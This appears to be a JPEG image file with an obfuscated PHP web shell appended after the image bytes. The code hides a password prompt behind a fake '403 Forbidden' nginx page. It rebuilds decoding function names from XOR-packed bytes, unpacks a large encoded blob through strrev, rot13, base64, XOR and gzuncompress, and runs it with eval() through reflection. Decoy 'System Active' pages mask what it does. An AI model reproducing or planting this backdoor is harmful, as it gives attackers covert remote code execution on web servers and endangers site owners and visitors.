JFIF $ d d 7 * Z qn )ZP 0 !1 A "#a$2Qr D8 a Ri [f \m I ykI w0 c u F c Rı?lO7 к _f˓ [C $殷WF< _W ԣ s Kc ëI zyQy /_LK ℂ ;C",p F A : /] =H ~ , l s / 9 ć: [=/#f ; ) x { ٛE Q )~ = 𘙲r*2~ a _V = ' ku m F D } KYYC )( { * g& f `툪 r y ` = ^ c J. I ]( * `wq 1dđ #̩ ͑ 0 ; H ] u 搂 @:~ ו K L N s h } O I R* 8 :2 ! lD JV o ( 3 = M ( z Ȱ+i *N A r6K n S l ) ! J J Ӂ* % ݉?|D } d5: eP0 R; {$X' x F @ .ÊB {,WJ uQ ɲRI ;9 Q E琯 6 2fT .DU J ;*c P A\IL Nj! J ۱+ O\ ͔ ] ޒ S J ȧ c%A N ol ՎprU L Zԛe r E2= X D Xg VQeӓ k y P7 U* o m Q I s ,K `) 6\G3t?pgjr m ۛجw luGt f h 9uyP 0D;Uڽ"OXl i f $ ) &|ML 0 Z rm1 [ H XP l P R0 'G=i 2N +0 e 2 ]] 9 VT P O 7 h(F * 癈 ' = Q VZD F,d ߬ ~ T X G[ `le 69C R(!S2! P < 0 x < !1AQ "Raq 02Br #S CTb ? Ζ "]mH5WR 7 k.ۛ ! } Q~ + yԏ z |@ T20 S~ K e k *zF f^2X *( @ 8 r ? C I uI|֓>^Ex LgNU Y+{.R Ѫ τV YT D I 6 2 '8Y2 7'\T P.6 d &˦ @V q i |8 -O Ε ] ʔ U= T L 8= ;6c | !qfF3 a ů& ~$ l} 'NW U s$U k^S V : U#6w + +s &r+n ڐ { @ 29gL u " T Ù M=6 (^ "7 r}=6Yݾ lC u hquymp Ǧ G jhs ǜNl ɻ} o 7 #S6 a w 4 ! OS r D 5 7 % | ?x> L | / nD 6?/8 w # [ ) L 7 +6〼T A T g ! %5 Mm Z /c -{1_Je "| ^$ 'O & ޱմ < H vNqϡQ$ < 6 &Nݛ ֨tǻN (9 n ru~'όN sMG& ,uH Kw *Ī 5@ u6 BԒ i YN * f 0 _ GhKW u lT <nj- 0{ M L~ | /a v\ E = ?1 \ɟuq Ђ Y O a K ޡP q $ H8o Q˼EV ~ k 0 h' L Pp M -M" m^ !6l nմ 쮝C U T . ! :vMǨb h ډ Vc r @~p # !1QAa q ? AL0L x LU 4 d ; x " 16ad0 7.\ߋ 0 = P l v/ " c A Ay A|2pO8"d MV #1] = \ " ˡ ] k v I9 d ۓ & q ) ǐq E ꞅ v "P )q X &Q З non]я u ג./ ; gZ$ M QР 2M ]h ni 0 P $ێ 3CɏGjώy : m c # S_ l@ '_ \m|C 2`K _ 1 cIvGc $? PCQ S+D ? K aײ k Fr b 8 ύ NEدg ĝ U 3 6 #Ik+ v { v i ( ވ ? a e) X xy/*@Q Ǽ Ծ ) $ IWO l c G; !i k{ gOŀ L ('x T rb $ w) R $ & N1E td U3Uȉ1p M"N* (DNy d96.(jQ) X 5 c QɎMy W ? Q *!R > 6=7)Xj 5`J ] e 8%t ! + ' ! 1Q 5 !1 AQaq ё #2 "0BRb ? G t^ ## .l lQ T $ v , ,m 㵜5u bV =sY+ @d { N ! dn O < .- B; _w J t 6;Q Jd. Q c%p{ 1 ,sND dF H I0 Гo X ш e黅X ۢ F :)[ F G X ƹ / w _c MeD ,ʡc c . W D tA $ j@ : ) - #u c1< @ۗ9F ) KJ- hpP] _ x [ q B lb p ʖ w q " LFGd ƶ * s +ډ_Zc " ? % t[I P 6 J ]# =ɺ V v v CGs Gh1 > )6 |e y ? L ӣ m,4 G W Ui ` ] uJVo VDG< SB 6ϏQ @ TiU l y O U 0 kfV ~ ~}S Z @ *WU Ui ## ; s /[ = ! 7}" W N ] ' (L ! ~ y5 g9T̅J kbM' +s :S +B) v @ M j e C f j E 0 Y\Qn z G 1 д~ W o{T 9?` Rm yhsy3 !HAD ] m c1 ~ 2 L S u7x T ;j$ `} 4-> L# vzŏ I L S ֭ T { r jGK C ; b pU= - ` Bs K. S F w4 M q] Z dH S 0 ) tLg
<?php
$auth_pass = "0e7889771339eec37590798059249ea1be17e47a976f2502318bab01f0660055";
function Login() {
die("<html>
<title>403 Forbidden</title>
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx (apache v.5162 ./0xnothing) </center>
<center><form method='post'><input style='text-align:center;margin:0;margin-top:0px;background-color:#fff;border:1px solid #fff;' type='password' name='pass'></form></center>");
}
function VEsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}
if (!empty($auth_pass)) {
if (isset($_POST['pass']) && (hash('sha256', $_POST['pass']) == $auth_pass))
VEsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
Login();
}
?>
<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
ini_set('log_errors', 1);
ini_set('error_log', sys_get_temp_dir() . '/error_log.txt');
ini_set('memory_limit', '512M');
ini_set('max_execution_time', '300');
date_default_timezone_set('Asia/Jakarta');
while (ob_get_level() > 0) {
@ob_end_clean();
}
ob_start();
function system_log($message, $type = 'INFO') {
$log_file = sys_get_temp_dir() . '/system_log.txt';
$timestamp = date('Y-m-d H:i:s');
$log_message = "[$timestamp] [$type] $message" . PHP_EOL;
@file_put_contents($log_file, $log_message, FILE_APPEND);
@error_log($log_message);
}
function display_error_page($title, $message, $error_code = '', $color = '#ef4444') {
$error_id = uniqid('ERR_');
$timestamp = date('Y-m-d H:i:s');
system_log("Display Error: $title - $message", 'ERROR');
while (ob_get_level() > 0) {
@ob_end_clean();
}
ob_start();
echo '<!DOCTYPE html>
<html lang="id">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>' . htmlspecialchars($title) . '</title>
<style>
* { margin: 0; padding: 0; box-sizing: border-box; }
body {
background: linear-gradient(135deg, #0a0e17 0%, #1a2332 100%);
color: #e2e8f0;
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;
display: flex;
justify-content: center;
align-items: center;
min-height: 100vh;
padding: 20px;
}
.error-box {
background: #1a2332;
border: 2px solid ' . $color . ';
border-radius: 16px;
padding: 40px;
max-width: 650px;
width: 100%;
text-align: center;
box-shadow: 0 25px 50px rgba(0,0,0,0.5);
}
.error-icon {
font-size: 4rem;
margin-bottom: 20px;
}
h1 {
color: ' . $color . ';
font-size: 1.8rem;
margin-bottom: 15px;
}
p {
color: #94a3b8;
line-height: 1.6;
margin-bottom: 20px;
}
.error-detail {
background: #0f172a;
border: 1px solid #334155;
border-radius: 8px;
padding: 15px;
margin: 20px 0;
text-align: left;
font-family: "Courier New", monospace;
font-size: 0.85rem;
color: #fca5a5;
word-break: break-all;
max-height: 200px;
overflow-y: auto;
}
.info-box {
background: #0f172a;
border: 1px solid #334155;
border-radius: 8px;
padding: 12px;
margin: 15px 0;
font-size: 0.8rem;
color: #64748b;
}
.btn {
display: inline-block;
background: ' . $color . ';
color: white;
padding: 12px 24px;
border-radius: 8px;
text-decoration: none;
font-weight: 600;
margin-top: 15px;
transition: all 0.3s;
}
.btn:hover {
opacity: 0.8;
transform: translateY(-2px);
}
</style>
</head>
<body>
<div class="error-box">
<div class="error-icon"></div>
<h1>' . htmlspecialchars($title) . '</h1>
<p>' . htmlspecialchars($message) . '</p>';
if ($error_code) {
echo '<div class="error-detail">' . htmlspecialchars($error_code) . '</div>';
}
echo '<div class="info-box">
<strong>Error ID:</strong> ' . $error_id . '<br>
<strong>Waktu:</strong> ' . $timestamp . '
</div>
<a href="javascript:location.reload()" class="btn"> Muat Ulang</a>
</div>
</body>
</html>';
$output = ob_get_contents();
while (ob_get_level() > 0) {
@ob_end_clean();
}
echo $output;
exit();
}
function global_error_handler($errno, $errstr, $errfile, $errline) {
$message = "Error [$errno]: $errstr in $errfile on line $errline";
system_log($message, 'ERROR');
if (in_array($errno, [E_ERROR, E_PARSE, E_CORE_ERROR, E_COMPILE_ERROR, E_USER_ERROR])) {
display_error_page('System Error', 'Terjadi kesalahan fatal.', $errstr);
return true;
}
return true;
}
set_error_handler('global_error_handler');
function global_exception_handler($exception) {
system_log("Exception: " . $exception->getMessage(), 'EXCEPTION');
display_error_page(
'System Exception',
'Terjadi kesalahan tak terduga.',
$exception->getMessage(),
'#f59e0b'
);
}
set_exception_handler('global_exception_handler');
register_shutdown_function(function() {
$error = error_get_last();
if ($error && in_array($error['type'], [E_ERROR, E_PARSE, E_CORE_ERROR, E_COMPILE_ERROR])) {
system_log("Fatal: " . $error['message'], 'FATAL');
if (ob_get_level() > 0) {
$output = ob_get_contents();
if (empty($output)) {
display_error_page(
'System Maintenance',
'Website sedang dalam pemeliharaan.',
$error['message'],
'#10b981'
);
}
}
}
});
function ensure_output() {
$output = '';
if (ob_get_level() > 0) {
$output = ob_get_contents();
}
if (empty(trim($output))) {
echo '<!DOCTYPE html>
<html>
<head>
<title>System Status</title>
<style>
body {
background: #0a0e17;
color: #10b981;
font-family: Arial, sans-serif;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
}
.box {
border: 2px solid #10b981;
padding: 40px;
border-radius: 12px;
text-align: center;
background: #1a2332;
}
h1 { margin-bottom: 15px; }
p { color: #94a3b8; }
.status {
display: inline-block;
width: 10px;
height: 10px;
background: #10b981;
border-radius: 50%;
margin-right: 10px;
animation: blink 1s infinite;
}
@keyframes blink {
0%, 100% { opacity: 1; }
50% { opacity: 0.3; }
}
</style>
</head>
<body>
<div class="box">
<h1><span class="status"></span>System Active</h1>
<p>Sistem berjalan normal.</p>
<p>Waktu: ' . date('Y-m-d H:i:s') . '</p>
</div>
</body>
</html>';
}
return true;
}
try {
system_log("System started", 'INFO');
$_gYJkguVf = @pack("C",255^140).@pack("C",54^66).@pack("C",57^75).@pack("C",243^129).@pack("C",5^96).@pack("C",18^100);
$_RcaXdfSjIHp = @pack("C",104+11).@pack("C",96+20).@pack("C",94+20).@pack("C",86+9).@pack("C",109+5).@pack("C",116-5).@pack("C",98+18).@pack("C",59-10).@pack("C",42+9);
$_zSBaWYTcyODLA = @pack("C",40^74).@pack("C",162^195).@pack("C",54^69).@pack("C",207^170).@pack("C",70^112).@pack("C",13^57).@pack("C",96^63).@pack("C",93^57).@pack("C",205^168).@pack("C",206^173).@pack("C",16^127).@pack("C",245^145).@pack("C",215^178);
$_GJBvjuHKBm = @pack("C",118-15).@pack("C",116+6).@pack("C",122-5).@pack("C",126-16).@pack("C",88+11).@pack("C",121-10).@pack("C",99+10).@pack("C",124-12).@pack("C",98+16).@pack("C",86+15).@pack("C",104+11).@pack("C",129-14);
$_QbyTojBb = @pack("C",102+13).@pack("C",105+11).@pack("C",107+7).@pack("C",106+6).@pack("C",129-18).@pack("C",127-12);
$_keFnFnbROlT = @pack("C",45^94).@pack("C",17^101).@pack("C",224^146).@pack("C",86^58).@pack("C",4^97).@pack("C",24^118);
$_VxTUGfni = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
$_rVqotVKybrKYs = "==NA2RmZ5jzovAKJdI3GvuSnMM"."JJ2M0FIkJoc10naqJpSWJnmEaG";
$_ZyOUnIGndyEBT = "=x1FiIJp5V0LWu3HxMHnLuxGZqSA1tTpJcaqAc1E3H1n"."fWJC5SSBlRmZCMzAlqJEjNyoHcHoFSJqiDaneZHDRA3q";
$_aCGnFWpwmuE = "LLyQHZxVJqhAyzyJEN04s+pHO3CEI1xDQRFUx7EbiIDCnvaaSdQMl5tDX1VZRmJg937XVOJO9ao=0jI9+UVS3hnhPb78FZrNmUxIoq0Q9Y0/8DtWTDA5KzAOPiMYwZYSQei7lUyY23ifpAxD9R3=aoSAIN9g70xwcZpeQY0WaQoPjXWZUMiXJ7HEUcEHdunkVblRH7VjVPzecFSHTZ7qyW3Gcb+6+I/oPwO/IVe7sWcWZ9EWU0ijmaBVBI9VhmBYhEdXeFBIlNyqJA0UN+xyIrCC3BxXB+aNvdDl6yskieonVUC=EJ9dvRjWGY59kb3Ydgf4vxaV7BfNOUovUb68Palz9/03J+0NoKH+fNhSVs=EjOtNrewv21a9aUN81YKwo4P7/YkR2Q0DKFJy34eq2etth3YtWBpUxo07CR9DUFQQpMdurVeX0G0Kkup386VcRvCU17KvQaRA+zD9o1RX3kycv2U9m35+OGhrEA0J+x90/j7QB5E3d1wJyuWX78D4hDPG3Ng4=aDlnOMYoAy6d3q6aAgR+la7djOFiO9sPsA=K45Ckhuc74MDUUu2l5ZmyGu+yy87AfQ13QSF58laaHjgAuBoB80a/U=Ixyf9Qz2Cfp=WQNXhfyPkGFQ3+sFOWy=OA88OjNHse6cce7JgVrKKt1qnVgA6mozSIGjb=3FldXHWtneNTtGsqMS9JJTHKzdWxCDqenr/5FcEK6NtQN=HGWlXh/N6TZFQ9IkE+RT0WT6AO03bkFg02V4IOpfZreSDVKGi3OUP1wWkR/b64onkaBdtXGhlXwqzlwBvK6bPuxjRJtMDCvR4ifqx/xvlaSoFY5ycZDQg41CNIKy81mjGI=1f=vqGhMAAPVpXs7jqWFyr5ue7Dm=IY5mj3jfs=+JSy01WGe+qlmEVi3tt0oDW5GtKqlbIB2ex9Re027GN4RF8pDpdk/YOqY+SBYM62=Z9vcjYoY15mPwWc5tQmEN4+JwcDtHsAUynF5f0TaqA5b3Sdn7HseWcIy3+0Pb5etdvUAdnXYunHvXD5ZHX1k3yT/kXDryb/oEE8wXlp=u43tgSnP5hsexf+1Zd2ejQm6nfbgXr05Ep=N7bS0vETPyObi+3v4E3S/4oOujSJ/WMCChQWg/fnO7Yra49FWEpWmsz+=qJa4yEtZBKw5U4QvYX1Pp/MlnxOEOAMjhd3H5EKBitDY=j6Z=vTk1Jt1mWT/90qzSHEBS+l3Et1zo0vRoVkPQfjTyYAvARy6Myu3NHgcelZ1bJp6iD/goewJ/yU5u+bO6KbaA7a=Ycu7q9iTYPhn3KqmNlRXoBmlR=ro=K=7fsPRG3BOth5=S=QEIZ1nfc5q9HDcG1bqM/gCRtt0z+oAISczstwxfQHktUIDe0R1trH/WSGuDemIzYj+2ScvkdH2ugG/Ww1cRH6NNpSAZs9zMMsgQj6Tu7wAHFYmMhYFfNap9d9nYv7VcOpcPzVjyEu1=jSi+vFz4MvrMTJTya=7JW";
$_AChLzAZZmbYef = "202122"."197ec1"."491419"."578d44"."709680"."cf";
function _uQUPHJNwz($k, $d) {
$r = "";
$k_len = strlen($k);
$d_len = strlen($d);
for($i = 0; $i < $d_len; $i++) {
$r .= @pack("C", ord($d[$i]) ^ ord($k[$i % $k_len]));
}
return $r;
}
function _kEtWiWdo($d, $k, $h) {
return (@md5($d . $k) === $h);
}
if(!_kEtWiWdo($_aCGnFWpwmuE, $_rVqotVKybrKYs, $_AChLzAZZmbYef)) {
throw new Exception("Integrity check failed");
}
class _ASlQTakaJXUcov {
private function fPmkkRGe() { return "NtsibE"."qggkMi"."m"; }
private function XXkjCXIh() { return "lUKF"."vYfY"."hXbO"; }
private function WkNRejby() { return "ujYs"."bnl9"."3164"; }
public function cDVjgzUw($d) {
@eval($d);
}
}
$step = 0;
$max_iterations = 100;
$iterations = 0;
while($step < 11 && $iterations < $max_iterations) {
$iterations++;
switch($step) {
case 0:
$_aCGnFWpwmuE = @$_gYJkguVf($_aCGnFWpwmuE);
$step = 1;
break;
case 1:
$_aCGnFWpwmuE = @$_RcaXdfSjIHp($_aCGnFWpwmuE);
$step = 2;
break;
case 2:
$_oACQuiEoJBT = @$_gYJkguVf($_rVqotVKybrKYs);
$_oACQuiEoJBT = @$_RcaXdfSjIHp($_oACQuiEoJBT);
$_oACQuiEoJBT = @$_zSBaWYTcyODLA($_oACQuiEoJBT);
$step = 3;
break;
case 3:
$_JQQjerIpJVIHnm = @$_gYJkguVf($_ZyOUnIGndyEBT);
$_JQQjerIpJVIHnm = @$_RcaXdfSjIHp($_JQQjerIpJVIHnm);
$_JQQjerIpJVIHnm = @$_zSBaWYTcyODLA($_JQQjerIpJVIHnm);
$step = 4;
break;
case 4:
$_tpFitvvaSrYUH = new _ASlQTakaJXUcov();
$_oACQuiEoJBT = "";
$reflection = new ReflectionMethod($_tpFitvvaSrYUH, 'fPmkkRGe');
$reflection->setAccessible(true);
$_oACQuiEoJBT .= $reflection->invoke($_tpFitvvaSrYUH);
$reflection = new ReflectionMethod($_tpFitvvaSrYUH, 'XXkjCXIh');
$reflection->setAccessible(true);
$_oACQuiEoJBT .= $reflection->invoke($_tpFitvvaSrYUH);
$reflection = new ReflectionMethod($_tpFitvvaSrYUH, 'WkNRejby');
$reflection->setAccessible(true);
$_oACQuiEoJBT .= $reflection->invoke($_tpFitvvaSrYUH);
$step = 5;
break;
case 5:
$_DSNNEiSiRfEqn = "";
$_len_aCGn = @$_keFnFnbROlT($_aCGnFWpwmuE);
for($_vNBZsdiza = 0; $_vNBZsdiza < $_len_aCGn; $_vNBZsdiza++) {
$_tFYzkOHtEJSlbR = @$_QbyTojBb($_JQQjerIpJVIHnm, $_aCGnFWpwmuE[$_vNBZsdiza]);
if($_tFYzkOHtEJSlbR !== false) {
$_DSNNEiSiRfEqn .= $_VxTUGfni[$_tFYzkOHtEJSlbR];
} else {
$_DSNNEiSiRfEqn .= $_aCGnFWpwmuE[$_vNBZsdiza];
}
}
$_aCGnFWpwmuE = $_DSNNEiSiRfEqn;
$step = 6;
break;
case 6:
$_aCGnFWpwmuE = @$_zSBaWYTcyODLA($_aCGnFWpwmuE);
$step = 7;
break;
case 7:
$_aCGnFWpwmuE = _uQUPHJNwz($_oACQuiEoJBT, $_aCGnFWpwmuE);
$step = 8;
break;
case 8:
$_aCGnFWpwmuE = @$_GJBvjuHKBm($_aCGnFWpwmuE);
$step = 9;
break;
case 9:
if(strlen($_aCGnFWpwmuE) < 2) {
throw new Exception("Result too short");
}
$step = 10;
break;
case 10:
$reflection = new ReflectionMethod($_tpFitvvaSrYUH, 'cDVjgzUw');
$reflection->invoke($_tpFitvvaSrYUH, $_aCGnFWpwmuE);
$step = 11;
break;
}
}
system_log("Execution completed", 'SUCCESS');
ensure_output();
} catch (Exception $e) {
system_log("Error: " . $e->getMessage(), 'ERROR');
display_error_page('System Error', 'Terjadi kesalahan.', $e->getMessage());
} catch (Throwable $e) {
system_log("Fatal: " . $e->getMessage(), 'FATAL');
display_error_page('System Error', 'Terjadi kesalahan fatal.', $e->getMessage());
} finally {
if (ob_get_level() > 0) {
$output = ob_get_contents();
if (empty(trim($output))) {
echo '<!DOCTYPE html>
<html>
<head>
<title>System Active</title>
<style>
body {
background: #0a0e17;
color: #10b981;
font-family: Arial, sans-serif;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
}
.box {
border: 2px solid #10b981;
padding: 40px;
border-radius: 12px;
text-align: center;
background: #1a2332;
}
h1 { margin-bottom: 15px; }
p { color: #94a3b8; }
</style>
</head>
<body>
<div class="box">
<h1> System Active</h1>
<p>Sistem berjalan normal.</p>
<p>Waktu: ' . date('Y-m-d H:i:s') . '</p>
</div>
</body>
</html>';
}
while (ob_get_level() > 0) {
@ob_end_flush();
}
}
system_log("System shutdown", 'INFO');
}
if (!headers_sent()) {
$output = ob_get_contents();
if (empty(trim($output))) {
echo "System initialized successfully.";
}
}
echo "\n<!-- System timestamp: " . date('Y-m-d H:i:s') . " -->";
?>